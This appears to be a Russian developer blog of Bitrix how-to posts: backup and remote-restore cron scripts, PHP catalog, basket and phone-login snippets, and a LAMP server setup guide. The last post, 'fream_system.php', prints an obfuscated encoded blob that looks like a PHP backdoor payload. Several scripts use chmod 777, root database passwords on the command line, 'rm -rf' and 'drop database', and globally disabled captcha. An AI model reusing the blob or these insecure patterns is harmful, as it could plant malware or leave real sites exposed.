Показаны сообщения с ярлыком битрикс. Показать все сообщения
Показаны сообщения с ярлыком битрикс. Показать все сообщения

понедельник, 25 января 2016 г.

sh скрипт для резервного копирования сайта

Скрипт для резервного копирования сайта. Ссылка на источник https://dev.1c-bitrix.ru/community/blogs/howto/945.php

#!/bin/sh
doc_root=$1
name=$2
if [ -z $doc_root ]; then
   echo Usage: $0 /path/to/document/root [backup_name]
   exit
fi

if [ -z $name ]; then
   name=backup
fi

dbconn=$doc_root/bitrix/php_interface/dbconn.php

readcfg() {
   grep $1 $dbconn | sed 's/.*"\(.*\)".*/\1/'
}

host=`readcfg DBHost`
username=`readcfg DBLogin`
password=`readcfg DBPassword`
database=`readcfg DBName`

utf=`grep 'BX_UTF' $dbconn | grep true`

if [ -z "$utf" ]; then
   charset=cp1251
else
   charset=utf8
fi

backup_dir=$doc_root/bitrix/backup

if [ ! -e $backup_dir ]; then
   mkdir $backup_dir
fi

cd $doc_root && 
mysqldump -h$host -u$username -p$password --default-character-set=$charset $database > $backup_dir/$name.sql && 
tar -cf $backup_dir/$name.tar $backup_dir/$name.sql &&  
rm $backup_dir/$name.sql &&
tar -rf $backup_dir/$name.tar --exclude '*bitrix/tmp/*' --exclude '*bitrix/updates/*' --exclude '*bitrix/backup/*' --exclude '*bitrix/*cache/*' . && 
gzip -f -9 $backup_dir/$name.tar && 
echo OK && exit
echo Error

понедельник, 18 января 2016 г.

Копирование сайта с тестового сервера на удаленный сервер

Захотел заказчик видеть как продвигается его проект.
Настраиваем разворачивание бекапов с рабочего сервера на удаленный.

  • user - это имя Вашего пользователя в системе
  • dbsupersait - имя базы данных сайта

Удаляем старые бэкапы
nano /home/user/cron/delbackup.sh

 #!/bin/bash
 rm /home/user/Yandex.Disk/*.tar.*
 rm /var/www/supersait/bitrix/backup/*.tar.*
 echo "Старые бэкапу удалены"

Добавляем скрипт в cron на тестовом серваке
crontab -eu user
0 20 * * * /home/user/cron/delbackup.sh >> /var/log/watchdog-backup.log

Создаем новый бэкап средствами Bitrix Для этого добавляем еще одно задание в cron на тестовом серваке
crontab -eu user
0 21 * * * php /var/www/supersait/bitrix/modules/main/tools/backup.php  >> /var/log/watchdog-backup.log

Копируем бэкапы в Yandex.Disk
nano /home/user/cron/copyBackup.sh

 #!/bin/bash
 cp /var/www/supersait/bitrix/backup/*.tar.* /home/user/Yandex.Disk/
 chmod 777 /home/user/Yandex.Disk/*.tar.*
 yandex-disk sync
 yandex-disk status
 echo "Копирование бэкапов в облако завершено"
 echo "bacup copy to yandex.disk" | mail -s "copy backup supersait" pochta@gmail.com

Добавляем скрипт в cron на тестовом серваке
crontab -eu user
0 22 * * * /home/user/cron/copyBackup.sh >> /var/log/watchdog-backup.log

И так. На тестовом серваке у нас три задания.
crontab -lu user

 0 21 * * * php /var/www/supersait/bitrix/modules/main/tools/backup.php >>  /var/log/watchdog-backup.log
 0 20 * * * /home/user/cron/delbackup.sh >> /var/log/watchdog-backup.log
 0 22 * * * /home/user/cron/copyBackup.sh >> /var/log/watchdog-backup.log

Теперь на удаленном сервере добавляем скрипт разворачивания сайта в крон
nano /home/user/cron/restorebitrix.sh

 #!/bin/bash
 FILE=$(date +"%Y%d%m_%H%M")
 yandex-disk sync >> /var/log/siterestore/$FILE.log
 yandex-disk status >> /var/log/siterestore/$FILE.log
 chmod 777 /home/user/Yandex.Disk/*.tar.* >> /var/log/siterestore/$FILE.log
 echo "Копирование бэкапов в облако завершено" >> /var/log/siterestore/$FILE.log
 echo "bacup copy to yandex.disk" | mail -s "copy backup supersait" pochta@gmail.com

 rm -rf /var/www/supersait >> /var/log/siterestore/$FILE.log
 echo "Удален корневой каталог сайта" >> /var/log/siterestore/$FILE.log

 mysql -u root -pпароль -e "show databases" >> /var/log/siterestore/$FILE.log
 echo "Удаление Базы MySQL" >> /var/log/siterestore/$FILE.log
 mysql -u root -pпароль -e "drop database dbsupersait" >> /var/log/siterestore/$FILE.log
 mysql -u root -pпароль -e "show databases" >> /var/log/siterestore/$FILE.log
 echo "Создаем новую базу MySQL" >> /var/log/siterestore/$FILE.log
 mysql -u root -pпароль -e "create database dbsupersait" >> /var/log/siterestore/$FILE.log

 mkdir /var/www/supersait >> /var/log/siterestore/$FILE.log
 echo "Создан каталог кореня сайта с владелбцем www-data:www-data и правами 7777" >> /var/log/siterestore/$FILE.log
 echo "Копируем бекап в корень сайта" >> /var/log/siterestore/$FILE.log

 cp /home/user/Yandex.Disk/*.tar.* /var/www/supersait >> /var/log/siterestore/$FILE.log
 chown -hR www-data:www-data /var/www/supersait >> /var/log/siterestore/$FILE.log
 chmod -R 777 /var/www/supersait >> /var/log/siterestore/$FILE.log
 cd /var/www/supersait >> /var/log/siterestore/$FILE.log
 echo "Извлечение из архива" >> /var/log/siterestore/$FILE.log
 cat *.* | tar xzv >> /var/log/siterestore/$FILE.log
 echo "восстановление дампа базы данных" >> /var/log/siterestore/$FILE.log
 mysql -u root -pпароль dbsupersait < /var/www/supersait/bitrix/backup/*full_????????.sql

 sed 's/'"'"'database.*/'"'"'database'"'"' => '"'"'dbsupersait'"'"',/g' /var/www/supersait/bitrix/.settings.php > .settings.php
 mv .settings.php /var/www/supersait/bitrix/.settings.php
 sed 's/'"'"'login.*/'"'"'login'"'"' => '"'"'root'"'"',/g' /var/www/supersait/bitrix/.settings.php > .settings.php
 mv .settings.php /var/www/supersait/bitrix/.settings.php
 sed 's/'"'"'password.*/'"'"'password'"'"' => '"'"'пароль'"'"',/g' /var/www/supersait/bitrix/.settings.php > .settings.php
 mv .settings.php /var/www/supersait/bitrix/.settings.php

 sed 's/$DBLogin.*/$DBLogin = "root";/g' /var/www/supersait/bitrix/php_interface/dbconn.php > dbconn.php
 mv dbconn.php /var/www/supersait/bitrix/php_interface/dbconn.php >> /var/log/siterestore/$FILE.log
 sed 's/$DBName.*/$DBName = "dbsupersait";/g' /var/www/supersait/bitrix/php_interface/dbconn.php > dbconn.php
 mv dbconn.php /var/www/supersait/bitrix/php_interface/dbconn.php >> /var/log/siterestore/$FILE.log
 sed 's/$DBPassword.*/$DBPassword = "пароль";/g' /var/www/supersait/bitrix/php_interface/dbconn.php > dbconn.php
 mv dbconn.php /var/www/supersait/bitrix/php_interface/dbconn.php >> /var/log/siterestore/$FILE.log

 echo "Удаление служебной информации" >> /var/log/siterestore/$FILE.log
 rm /var/www/supersait/*.tar.* >> /var/log/siterestore/$FILE.log
crontab -eu user

На удаленном серваке у нас одно задание.
crontab -lu user
0 23 * * * /home/user/cron/restorebitrix.sh >> /var/log/wathcdog-backup.log

четверг, 26 ноября 2015 г.

Bitrix: пример вывода картинки элемента

Вывода изображения на из карточки товара например в шаблоне письма или списке заказов

<?

if (CModule::IncludeModule('iblock')) {

 if ($arProduct = CIBlockElement::GetByID($item["PRODUCT_ID"])->Fetch()) {

  if ($arProduct['PREVIEW_PICTURE'] > 0) {

   $fileID = $arProduct['PREVIEW_PICTURE'];

  } elseif ($arProduct['DETAIL_PICTURE'] > 0) {

   $fileID = $arProduct['DETAIL_PICTURE'];

  } else {

   $fileID = 0;

  }

   $arPicture = CFile::ResizeImageGet($fileID, array('width' => 100, 'height' => 100));

   $arPicture['SIZE'] = getimagesize($_SERVER['DOCUMENT_ROOT'].$arPicture['src']);

 }

}?>


<img src="<?=$arPicture['src']?>" alt="image" />

понедельник, 26 октября 2015 г.

Bitrix: Проверка наличия товара на складах.


 <?

//////////////// проверка наличия товара на складах ///////////////////////////////

if(CModule::IncludeModule('catalog')){

 $resStore = CCatalogStore::GetList(array(),array("ACTIVE" => "Y", "TITLE" => "Склад ".$_SESSION["city"]),false,false,array());

 $sklad = $resStore->Fetch();

 $arFilter = Array('PRODUCT_ID' =>$arItem["PRODUCT_ID"], 'STORE_ID' => $sklad["ID"]);

 $rsStore = CCatalogStoreProduct::GetList(array(), $arFilter, false, false, array('AMOUNT'));

 if ($arStore = $rsStore->Fetch())

 {

  $RegionStore = $arStore['AMOUNT'];///////////// наличие в региональном складе

 }

 $resStore = CCatalogStore::GetList(array(),array("ACTIVE" => "Y", "TITLE" => "Склад Центральный"),false,false,array());

 $sklad = $resStore->Fetch();

 $arFilter = Array('PRODUCT_ID' =>$arItem["PRODUCT_ID"], 'STORE_ID' => $sklad["ID"]);

 $rsStore = CCatalogStoreProduct::GetList(array(), $arFilter, false, false, array('AMOUNT'));

 if ($arCentrStore = $rsStore->Fetch())

 {

  $CentrStore = $arStore['AMOUNT'];///////////// наличие на центральном складе

 }

}

?>

вторник, 20 октября 2015 г.

Bitrix. Очистить корзину. Ajax.

Шаблон формы авторизации:


<a href="#" class="delete-cart-link">очистить корзину</a>

Ajax скрипт:


$(document).ready(function (){

 $.ajax({
  type: 'POST',
  url: "/include/cart.php",
  data: {mode:'delcart'},
  dataType: 'json',
  success: function(result){
   if(result.status){
    location.href = "/personal/cart/";
    return false;
   }
  },
 });
});

Обработчик /include/cart.php


<?

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

$result = array();

$result['status'] = false;

$result['message'] = '';



if (isset($_POST['mode'])){

 $mode=htmlspecialcharsbx($_POST['mode']);

 switch($mode)

 {

 case 'delcart':

  CModule::IncludeModule("sale");

  CSaleBasket::DeleteAll($_SESSION["SALE_USER_ID"]);

  $result['status']=true;

  break;

 }

}



exit(json_encode($result));



require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");

понедельник, 19 октября 2015 г.

Bitrix. Авторизация по номеру телефона



Шаблон формы авторизации:


 <form id="fnt" name="system_auth_form<?=$arResult['RND']?>" method="post" target="_top" action="#"  data-ajax-href="/include/auth.php">

  <input type="hidden" name="mode" value="login" />

  <?if (strlen($arParams["BACKURL"]) > 0 || strlen($arResult["BACKURL"]) > 0):?>

  <input type="hidden" name="backurl" value="<?=($arParams["BACKURL"] ? $arParams["BACKURL"] : $arResult["BACKURL"])?>" />

  <?endif?>

  <input type="text" name="USER_LOGINt" maxlength="255" required placeholder="+7">

  <input type="password" name="USER_PASSWORD" maxlength="255">

  <input type="checkbox"  name="USER_REMEMBER" id="USER_REMEMBER" checked>

  <input type="submit" name="Login" class="" value="вход" />

 </form>


Ajax скрипт:


$(document).ready( function(){

  var form_item5 = $('#fnt');

  form_item5.validate({

   rules: {

    USER_LOGIN: {required: true}

   },

   messages: {USER_LOGIN: 'Ошибка в форме'},

   errorClass: 'error',

   validClass: 'valid',

   invalidHandler: function(event, validator) {},

   errorPlacement: function(error, element) {

    var cur = element;

    error.addClass('error-message').insertAfter(cur);

   },

   submitHandler: function(form,event) {

     var msgdata=$("#fnt").serialize();

     $.ajax({

      type: 'POST',

      url: form_item5.attr('data-ajax-href'),

      data: msgdata,

      dataType: 'json',

      success: function(result){

       if(result.status){

        $.fancybox.open('<div  id="popup-success">\

        <div class="title">Здравствуйте '+result.message+'!</div>\

        </div>',{wrapCSS: 'fancybox-popup', padding: ['0','0','0','0'], closeClick  : false,'beforeClose': function() { location.href = result.backurl; }, hideOnContentClick: false });

        form_item5.get(0).reset();

        form_item5.find('.valid').removeClass('valid');

       }

      }

     });

     event.preventDefault();

   }

  });

});


Обработчик /include/auth.php



<?

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");



global $USER;

if(!is_object($USER)) $USER = new CUser;

$result = array();

$result['status'] = false;

$result['message'] = '';

if (isset($_POST['mode'])){

 $mode=htmlspecialcharsbx($_POST['mode']);

 switch($mode)

 {

 case 'login':

  if(!$USER->IsAuthorized())

  {

   $user_tel = htmlspecialcharsbx($_POST['USER_LOGINt']);

   $filter = Array("PERSONAL_PHONE" => $user_tel);

   $sql = CUser::GetList(($by="id"), ($order="desc"), $filter);

   if($sql->NavNext(true, "f_"))

   {

    if($_POST['USER_REMEMBER']=="on") $rem="Y"; else $rem="N";

    $arAuthResult = $USER->Login($f_LOGIN, $_POST['USER_PASSWORD'], $rem);

    $result['status']=true;

    $result['message']=$f_NAME;

    $result['backurl']=$_POST['backurl'];

    $APPLICATION->arAuthResult = $arAuthResult;

   }

  }

  break;

 }

}

exit(json_encode($result));
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");

пятница, 16 октября 2015 г.

Авторегистрация пользователя (продолжить без регистрации)



 if ($arResult["POST"]["~WITHOUTREG"]==1)
{
$login='User'.bitrix_sessid();
$pwd='Pwd'.bitrix_sessid();
$email=bitrix_sessid().'_autoReg';
$name='';
$lastname='';
COption::SetOptionString("main","captcha_registration","N");
COption::SetOptionString("main","new_user_registration_email_confirmation","N");
$arAuthResult = $USER->Register($login,"","",$pwd,$pwd,$email);
LocalRedirect($arParams["PATH_TO_ORDER"]);
COption::SetOptionString("main","captcha_registration","Y");
COption::SetOptionString("main","new_user_registration_email_confirmation","Y");
}

вторник, 13 октября 2015 г.

Bitrix. Фильтр товаров по дате

Создаем свойство для времени. У меня это PROPERTY_2174 и поехали...
global $arrFilter;
if (!is_array($arrFilter)) $arrFilter = array();
$arrSale=array('broken_package'=>'Нарушена упаковка','damage'=>'Царапина на корпусе','broken_complect'=>'Нарушена комплектность','defect'=>'Брак');
if(isset($_GET['tab'])){
 if($_GET['tab']=='new') {$arrFilter=array_merge($arrFilter, array('>PROPERTY_2174' => array ( 0 => date("Y-m-d 00:00:00", strtotime('-14 day'))), '<=PROPERTY_2174' => array ( 0 => date("Y-m-d 00:00:00"))));}
 if($_GET['tab']=='hit') {$arrFilter=array_merge($arrFilter, array("=PROPERTY_1990" => array ( 0 => '163', ))); }
 
}
?>
IncludeComponent(
 "bitrix:catalog", 
 "catalog", 
 array(
  "IBLOCK_TYPE" => "offers",
  "IBLOCK_ID" => $ib["ID"],
  "TEMPLATE_THEME" => "site",
  ...
  "FILTER_NAME" => "arrFilter",
  ...
 ),
 false
);


суббота, 10 октября 2015 г.

Сохранение значения свойств элемента информационного блока.



require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$ELEMENT_ID = 97517;  // код элемента
$PROPERTY_CODE = "HIT";  // код свойства
$PROPERTY_VALUE = 163;  ///"Y";  // значение свойства
$IBLOCK_ID = 241;

//вывод праметров элемента
$res = CIBlockElement::GetByID($ELEMENT_ID);
echo "".var_export($res->GetNext())."";
//end вывод праметров элемента

// Вывод сыойств до изменения
$db_props = CIBlockElement::GetProperty($IBLOCK_ID, $ELEMENT_ID, "sort", "asc", array());
echo "".var_export($db_props)."";
//end Вывод сыойств до изменения

// Установим новое значение для данного свойства данного элемента CIBlockElement::SetPropertyValues
$dbr = CIBlockElement::GetList(array(), array("=ID"=>$ELEMENT_ID), false, false, array("ID", "IBLOCK_ID"));
if ($dbr_arr = $dbr->Fetch())
{
  $IBLOCK_ID = $dbr_arr["IBLOCK_ID"];
  CIBlockElement::SetPropertyValues($ELEMENT_ID, $IBLOCK_ID, Array('HIT'=>163), false);
}
//end Установим новое значение для данного свойства данного элемента CIBlockElement::SetPropertyValues

// Вывод сыойств после изменения
$db_props = CIBlockElement::GetProperty($IBLOCK_ID, $ELEMENT_ID, "sort", "asc", array());
echo "".var_export($db_props)."";
//end Вывод сыойств после изменения?>


// Установим новое значение для данного свойства данного элемента CIBlockElement::Update
$el = new CIBlockElement;$PROP = array();
$PROP['HIT'] = $PROPERTY_VALUE;  // свойству с кодом 12 присваиваем значение "Белый"
$arLoadProductArray = Array(
  "MODIFIED_BY"    => $USER->GetID(), // элемент изменен текущим пользователем
  "IBLOCK_SECTION" => false,          // элемент лежит в корне раздела
  "PROPERTY_VALUES"=> $PROP,
  "ACTIVE"         => "Y",            // активен
  );
$res = $el->Update($ELEMENT_ID, $arLoadProductArray);
//end Установим новое значение для данного свойства данного элемента CIBlockElement::Update

// Вывод сыойств после изменения
$db_props = CIBlockElement::GetProperty($IBLOCK_ID, $ELEMENT_ID, "sort", "asc", array());
echo "".var_export($db_props)."";
//end Вывод сыойств после изменения

//end Установим новое значение для данного свойства данного элемента CIBlockElement::SetPropertyValueCode
CIBlockElement::SetPropertyValueCode($ELEMENT_ID, $PROPERTY_CODE, $PROPERTY_VALUE);
//end Установим новое значение для данного свойства данного элемента CIBlockElement::SetPropertyValueCode

// Вывод сыойств после изменения
$db_props = CIBlockElement::GetProperty($IBLOCK_ID, $ELEMENT_ID, "sort", "asc", array());
echo "".var_export($db_props)."";
//end Вывод сыойств после изменения?>


пятница, 2 октября 2015 г.

LAMP (apache mysql php) для Bitrix

http://help.ubuntu.ru/wiki/apachemysqlphp

В этой статье описана установка и настройка LAMP (Linux-Apache-MySQL-PHP) сервера на базе Ubuntu включающего Apache 2, PHP 5, и MySQL 5.0.


Нужно установить русскую локаль. Естественно, utf8
localedef ru_RU.UTF-8 -i ru_RU -fUTF-8
Проверяем:
locale -a

Установка стандартного набора LAMP

Начиная с Ubuntu 7.04 (Feisty Fawn) поумолчанию установлена полезная утилита Tasksel(англ.). Она поможет вам установить LAMP. Просто выполним команду:
sudo tasksel install lamp-server
При установке будет запрошен пароль для создания администратора БД MySQL.

Удаление LAMP
Для удаления LAMP вам придется удалить его компоненты отдельно:
apache2 apache2-mpm-prefork apache2-utils apache2.2-common libapache2-mod-php5 libapr1 libaprutil1 libdbd-mysql-perl libdbi-perl libmysqlclient15off libnet-daemon-perl libplrpc-perl libpq5 mysql-client-5.0 mysql-common mysql-server mysql-server-5.0 php5-common php5-mysql

Установка Apache 2

Если требуется установить только веб-сервер Apache 2 используйте любой метод для того, чтобы установить пакет apache2. Для того, чтобы Apache заработал его следует перезапустить:
sudo /etc/init.d/apache2 restart

sudo apt-get install nginx nginx-extras
sudo apt-get install php5-cli php5-common php5-mysql php5-gd php5-fpm php5-cgi php5-fpm php-pear php5-mcrypt

http://help.ubuntu.ru/wiki/nginx-phpfpm

Перезапускаем апач sudo service apache2 restart

Установка дополнительных пакетов:

Некоторые пакеты tasksel уже установил. sudo apt-get install apache2 apache2-doc apache2-mpm-prefork apache2-utils libexpat1 ssl-cert libapache2-mod-php5 php5 php5-common php5-gd php5-mysql php5-imap php5-cli php5-cgi libapache2-mod-fcgid apache2-suexec php-pear php-auth php5-mcrypt mcrypt php5-imagick imagemagick libapache2-mod-suphp libruby phpmyadmin php5-dev apache2-dev build-essential libapache2-mod-auth-mysql postfix sphinxsearch munin nagios3 nagios3-doc nagios-nrpe-plugin catdoc xpdf

Настройка веб-сервера Apache

Включаем обработку htaccess (в файле /etc/apache2/apache2.conf): 
AllowOverride All 

Настройка php 

Теперь, если мы загрузим в папку /var/www/html скрипт установки CMS Битрикс bitrixsetup.php (или какой другой), то скорее всего обнаружим, что php "не работает", т.к. увидим в браузере php код. Это происходит из-за того, что по каким-то причинам короткие php теги <? по умолчанию отключены, а работают только такие <?php. Чтобы исправить это досадное недоразумение, отредактируем файл /etc/php5/apache2/php.ini, и поменяем short_open_tag = Off на short_open_tag = On 
Далее настроим другие параметры php, важные для битрикс и прочих CMS post_max_size = 100M upload_max_filesize = 100M max_input_vars = 10000 Если вы планируете использовать кодировку "utf-8" (крайне рекомендуется): mbstring.func_overload = 2 mbstring.internal_encoding = UTF-8
После чего перезагрузим сервер shutdown -r now

Акселераторы PHP

Для PHP существуют дополнения, ускоряющие его работу за счет кэширования байткода скриптов. Подробнее об подобных программах можно прочесть в Wikipedia.
apt-get install php-apc
Файл настройки /etc/php5/apache2/conf.d/apc.ini.
extension=apc.so
realpath_cache_size=4096k
apc.max_file_size=4M
apc.shm_size=128M
apc.mmap_file_mask=/tmp/apc.XXXXXX
apc.ttl=3600
apc.user_ttl=3600
apc.gc_ttl=3600

Установка библиотеки php-memcache

sudo apt-get install memcached php5-memcache libmemcache-dev
sudo service apache2 restart

Идем в настройки memcached nano /etc/memcached.conf и приводим к такому виду:

#Memcached будет работать, как демон 
-d 
#Лог будет складывать туда 
logfile /var/log/memcached.log 
#Для начала поставьте 256 мегабайт ОЗУ под хранилище. Но больше заисит от ее колличества 
#помните, что выставив 256 Вы ровно столько забираете от оперативки 
#лично у меня на данный момент стоит 512 
-m 256 
#Слушать будет этот порт 
-p 11211 
#Пользователь 
-u nobody 
#Слушаем localhost 
-l 127.0.0.1

Перезапускаем memcached:
sudo service memcached restart

Собственно все, установлено и настроено. Запускаем битрикс сайт на сервере, и идем папку/bitrix/php_interface и открываем файл dbconn.php
В него вносим следующее:
define("BX_CACHE_TYPE", "memcache"); //устанавливаем тип кеширования 
define("BX_CACHE_SID", $_SERVER["DOCUMENT_ROOT"]."#01"); //это не даст кешам разных сайтов перемешаться 
define("BX_MEMCACHE_HOST", "127.0.0.1"); //это адрес где работает мемкешед (в нашем случае локально)

PS: В новой 14-ой версии 1С битрикс настройки перенесены в файл /bitrix/.settings.php и тип кеширование необходимо устанавливать в секции:
'cache' => 
array ( 
'value' => 
array ( 
'sid' => '$_SERVER["DOCUMENT_ROOT"]."#01"', 
'type' => 'memcache', 
'memcache' => 
array ( 
'host' => '127.0.0.1', 
), 
), 
'readonly' => false, 
),

Настройка mcrypt

sudo php5enmod mcrypt
sudo service apache2 restart

Настройка munin

sudo nano /etc/munin/munin.confdbdir /var/lib/munin
htmldir /var/www/muninlogdir /var/log/munin
rundir /var/run/munintmpldir /etc/munin/templates

[localhost]
 address 127.0.0.1
 use_node_name yes



sudo nano /etc/munin/apache.conf

Alias /munin /var/www/munin
<Directory /var/www/munin>
 Order allow,deny
 #Allow from localhost 127.0.0.0/8 ::1
 Allow from all
 Options None

sudo mkdir /var/www/munin
sudo chown munin:munin /var/www/munin
sudo service munin-node restart
sudo service apache2 restart

your_ip_address/munin

Настройка nagios3


usermod -a -G nagios www-data
chmod -R g+x /var/lib/nagios3/


http://your_ip_address/nagios3/


Возможные ошибки

Если при запуске появляется следующая ошибка
apache2: Could not determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
запустите свой любимй текстовый редактор (например sudo nano или gksu gedit) и создайте файл /etc/apache2/conf.d/fqdn , со следующим содержанием:
ServerName localhost
Это так же можно сделать выполнив комманду:
echo "ServerName localhost" | sudo tee /etc/apache2/conf.d/fqdn

Виртуальные хосты

 Они находятся в папке /etc/apache2/sites-available. По-умолчанию создается только один сайт default, на который можно зайти введя в браузере http://localhost или http://127.0.0.1.
Директория для файлов сайта находится в /var/www. Необходимы права root для доступа к этой папке. Но вы можете изменить права на нее командой

sudo chown -R $USER:$USER /var/www 

Вернуться к дефолтным настройкам:
sudo chown -R www-data:www-data /var/www/

Создаем копию стандартного конфиг-файл сайта и переименуем его
sudo cp /etc/apache2/sites-available/default /etc/apache2/sites-available/mysite 
sudo nano /etc/apache2/sites-available/mysite
<VirtualHost *:8080> //почему порт 8080 см. статью про настройку nginx
        ServerName mysite
        DocumentRoot /var/www/mysite.ru
        ErrorLog ${APACHE_LOG_DIR}/netwit/error.log
        CustomLog ${APACHE_LOG_DIR}/netwit/access.log combined
        <Directory /var/mysitesdocs/polimer_m>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride All //во избежание проблем с ЧПУ
        </Directory>
</VirtualHost>

Теперь вы можете деактивировать ваш старый сайт и включить новый. Ubuntu содержит две маленькие утилиты для помощи в этом: a2ensite (apache2enable site) и a2dissite (apache2disable site).
sudo a2dissite default && sudo a2ensite mysite
Осталось только перезапустить Apache2:
sudo /etc/init.d/apache2 restart
Если вы не создали папку /home/user/public_html/, то получите сообщение с предупреждением об этом.
Внесем имя сайта в список хостов сервера:
sudo gedit /etc/hosts
Дописать в строчку 127.0.0.1 localhost через пробел mysite www.mysite Перезапустить Apache2
sudo /etc/init.d/apache2 restart
Для проверки вашего нового сайта создайте файл в папке /home/user/public_html:
echo '<b>Hello! It is working!</b>' > /home/user/public_html/index.html
И откройте в браузере адрес http://localhost/

PhpMyAdmin

При установке PhpMyAdmin запросит пароли которые были заданы при установке MySQL.
Зайти в него можно с адреса http://localhost/phpmyadmin/
При ошибке 404 внесите в файл /etc/apache2/apache2.conf строчку Include /etc/phpmyadmin/apache.conf

Установка Webmin на ubuntu. Что бы было проще:

Устанавливаем необходимые пакеты:
sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl libdigest-md5-perl


Далее я бы порекомендовал поставить SSH сервер, так как удаленно администрировать намного проще:
sudo apt-get install openssh-server

Добавляем репозиторий Webmin, редактируем файл /etc/apt/sources.list:
sudo nano /etc/apt/sources.list

В самом конце добавляем строку:
deb http://download.webmin.com/download/repository sarge contrib


Сохраняем изменения Ctrl+O и закрываем редактор Ctrl+X.

Устанавливаем GPG ключ:
wget http://www.webmin.com/jcameron-key.asc sudo apt-key add jcameron-key.asc


Устанавливаем Webmin для этого вводим команду:
sudo apt-get update sudo apt-get install webmin

Запустить Webmin можно через браузер для этого введите следующий адресу в строку url:
httpS://localhost:10000

понедельник, 13 июля 2015 г.

fream_system.php

$Yt2fNzr="jtA2FbjbhVafmoUb/oKLBLoJ/

$Yt2fNzr="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